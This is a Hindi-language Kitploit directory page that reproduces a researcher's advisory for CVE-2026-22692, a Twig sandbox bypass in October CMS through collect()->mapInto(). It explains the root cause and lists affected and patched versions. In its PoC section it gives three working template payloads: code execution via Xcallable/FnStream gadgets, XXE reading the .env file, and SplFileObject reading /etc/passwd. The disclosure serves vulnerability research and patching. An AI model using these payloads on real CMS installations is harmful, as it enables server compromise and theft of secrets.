Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-22692 — CVE-2026-22692 - collect()->mapInto() के माध्यम से गंभीर Twig सैंडबॉक्स बाइपास, जो October CMS में RCE/LFI/XXE की अनुमति देता है। | Kitploit
उपकरण/GitHubGitHub/lukasz-rybak/cve-2026-22692
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेपर और शोधलर्निंग और शिक्षा
GitHublukasz-rybak/cve-2026-22692

CVE-2026-22692

CVE-2026-22692 - collect()->mapInto() के माध्यम से गंभीर Twig सैंडबॉक्स बाइपास, जो October CMS में RCE/LFI/XXE की अनुमति देता है।

रिपॉजिटरी देखें
4 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-22692: collect()->mapInto() के माध्यम से गंभीर Twig सैंडबॉक्स बाईपास जो RCE/LFI/XXE की अनुमति देता है (October CMS)

अवलोकन

फ़ील्डविवरण
CVE IDCVE-2026-22692
गंभीरतामध्यम (CVSS:3.1 4.9)
एडवाइज़रीGHSA-m5qg-jc75-4jp6
प्रभावित उत्पादOctober CMS (<= 4.1.4, <= 3.7.12)
भेद्यता प्रकारTwig सैंडबॉक्स बाईपास -> RCE, LFI, XXE
खोजकर्ताLukasz Rybak

CWE वर्गीकरण

  • CWE-693: सुरक्षा तंत्र विफलता
  • CWE-611: XML बाह्य एंटिटी संदर्भ का अनुचित प्रतिबंध
  • CWE-74: डाउनस्ट्रीम घटक द्वारा उपयोग किए जाने वाले आउटपुट में विशेष तत्वों का अनुचित न्यूट्रलाइज़ेशन ('इंजेक्शन')

सारांश

October CMS Twig सैंडबॉक्स (सुरक्षित मोड) में एक गंभीर भेद्यता मौजूद है, जो टेम्पलेट संपादन विशेषाधिकारों वाले प्रमाणित उपयोगकर्ताओं को सुरक्षा प्रतिबंधों को बायपास करने और सर्वर से मनमाना PHP कोड निष्पादित करने (RCE) या मनमानी फ़ाइलें पढ़ने (XXE/LFI) की अनुमति देती है।

विवरण

मूल कारण

मूल कारण October\Rain\Support\SafeCollection में स्थित है। यह क्लास CallsAnyMethod इंटरफ़ेस को लागू करती है, जो System\Twig\SecurityPolicy को संग्रह ऑब्जेक्ट के लिए मानक विधि अनुमति-सूची को बायपास करने का निर्देश देता है।

जबकि SafeCollection कॉल करने योग्य (callables) के सीधे निष्पादन को रोकने के लिए तर्कों को फ़िल्टर करने का प्रयास करता है, यह mapInto($class) विधि को ब्लॉक नहीं करता है। mapInto विधि संग्रह पर पुनरावृति करती है और प्रदान किए गए क्लास नाम को इंस्टैंशिएट करती है:

root@kitploit:~
new $class($value, $key);

यह एक हमलावर को एप्लिकेशन को ज्ञात किसी भी क्लास को इंस्टैंशिएट करने की अनुमति देता है।

भेद्यता 1: RCE (फ़ंक्शन निष्पादन)

System\Twig\SecurityPolicy सभी ऑब्जेक्ट्स पर __toString() विधि को स्पष्ट रूप से अनुमति-सूचीबद्ध करता है। Psy\Readline\Hoa\Xcallable (जो एक कॉल करने योग्य को रैप करता है) को इंस्टैंशिएट करके और इसे GuzzleHttp\Psr7\FnStream के अंदर रैप करके (जो अपनी __toString विधि में _fn___toString प्रॉपर्टी के माध्यम से उपयोगकर्ता-परिभाषित फ़ंक्शन को कॉल करता है), एक हमलावर Twig में ऑब्जेक्ट को प्रिंट करके बिना किसी तर्क की आवश्यकता वाले मनमाने PHP फ़ंक्शन (जैसे php_uname, phpinfo) के निष्पादन को ट्रिगर कर सकता है।

भेद्यता 2: XXE (मनमाना फ़ाइल पठन)

SimpleXMLElement क्लास अपने दूसरे कंस्ट्रक्टर तर्क के रूप में एक libxml विकल्प फ़्लैग स्वीकार करता है। mapInto() कंस्ट्रक्टर को दूसरे तर्क के रूप में संग्रह कुंजी पास करता है। 2 कुंजी (जो LIBXML_NOENT के अनुरूप है) वाला संग्रह बनाकर, एक हमलावर SimpleXMLElement में बाह्य एंटिटी प्रतिस्थापन सक्षम कर सकता है, जिससे तत्काल XXE और सिस्टम फ़ाइलों को पढ़ने की क्षमता उत्पन्न होती है।

भेद्यता 3: LFI (SplFileObject के माध्यम से मनमाना फ़ाइल पठन)

नेटिव PHP SplFileObject क्लास का उपयोग करके एक अधिक प्रत्यक्ष लोकल फ़ाइल इन्क्लूज़न (LFI) भेद्यता मौजूद है। फ़ाइल पथ और पठन मोड के साथ SplFileObject को इंस्टैंशिएट करके (mapInto के माध्यम से पास किया गया), एक हमलावर एक ट्रैवर्सेबल फ़ाइल ऑब्जेक्ट प्राप्त करता है। इस ऑब्जेक्ट को collect() हेल्पर को पास करने से तत्काल पुनरावृति ट्रिगर होती है (फ्रेमवर्क के कोर के अंदर iterator_to_array के माध्यम से), जो सैंडबॉक्स की विधि-ब्लॉकिंग नीति को बायपास करती है। यह XML समर्थन या विशिष्ट विक्रेता लाइब्रेरी की आवश्यकता के बिना, वेब सर्वर की पहुँच वाली किसी भी फ़ाइल को पढ़ने की अनुमति देता है।

PoC (प्रमाण की अवधारणा)

पूर्वापेक्षाएँ

  • October CMS बैकएंड तक प्रमाणित पहुँच (या कोई भी सुविधा जो Twig टेम्पलेट संपादन की अनुमति देती है)
  • CMS_SAFE_MODE=true

पेलोड 1: RCE (php_uname निष्पादित करें)

root@kitploit:~
{% set clsX = 'Psy.Readline.Hoa.Xcallable'|replace({'.': '\\'}) %}
{% set clsF = 'GuzzleHttp.Psr7.FnStream'|replace({'.': '\\'}) %}

{% set x = collect({'': 'php_uname'}).mapInto(clsX).first() %}

{% set methods = {'__toString': x} %}
{% set f = collect([methods]).mapInto(clsF).first() %}

System Info: {{ f }}

पेलोड 2: XXE (.env फ़ाइल पढ़ें)

root@kitploit:~
{% set xml_payload = '<?xml version="1.0"?><!DOCTYPE root [<!ENTITY b SYSTEM "file:///var/www/html/.env">]><root>&b;</root>' %}

{# Use key '2' (LIBXML_NOENT) to enable Entity Substitution in SimpleXMLElement #}
{% set x = collect({2: xml_payload}).mapInto('SimpleXMLElement').first() %}

FILE CONTENT (.env):
{{ x }}

पेलोड 3: LFI (SplFileObject के माध्यम से /etc/passwd पढ़ें)

root@kitploit:~
{% set target = '/etc/passwd' %}
{% set file = collect({'r': target}).mapInto('SplFileObject').first() %}
{% set content = collect(file) %}

LFI Result:
{{ content.join('') }}

प्रभाव

रिमोट कोड निष्पादन (RCE), लोकल फ़ाइल इन्क्लूज़न (LFI), XML बाह्य एंटिटी इंजेक्शन (XXE)।

  • RCE: PHP कोड निष्पादन की अनुमति देता है (FnStream गैजेट के साथ 0-तर्क वाले फ़ंक्शन तक सीमित, लेकिन अन्य गैजेट्स के साथ संभावित रूप से विस्तार योग्य)।
  • LFI / XXE: कई वैक्टरों (SimpleXMLElement या SplFileObject) के माध्यम से सर्वर फ़ाइल सिस्टम पर मौजूद किसी भी फ़ाइल को पढ़ने की अनुमति देता है, जिस तक वेब उपयोगकर्ता की पहुँच है (जिसमें /etc/passwd, डेटाबेस कॉन्फ़िगरेशन, .env, आदि शामिल हैं)।

यह उन सभी October CMS इंस्टॉलेशन को प्रभावित करता है जहाँ अविश्वसनीय या अर्ध-विश्वसनीय उपयोगकर्ताओं के पास CMS टेम्पलेट संपादक तक पहुँच है, जो प्रभावी रूप से उन्हें सिस्टम एडमिनिस्ट्रेटर / रूट स्तर के तर्क तक विशेषाधिकार बढ़ाने की अनुमति देता है।

प्रभावित उत्पाद

  • पैकेज: octobercms/october (Packagist)
  • प्रभावित संस्करण: <= 4.1.4, <= 3.7.12
  • पैच किया गया: 4.1.5, 3.7.13

संदर्भ

  • https://github.com/octobercms/october/security/advisories/GHSA-m5qg-jc75-4jp6
  • https://nvd.nist.gov/vuln/detail/CVE-2026-22692

अस्वीकरण

यह CVE समन्वित भेद्यता प्रकटीकरण प्रथाओं का पालन करते हुए जिम्मेदारीपूर्वक प्रकट किया गया था। यहाँ दी गई जानकारी केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए है।

टूल डाउनलोड करें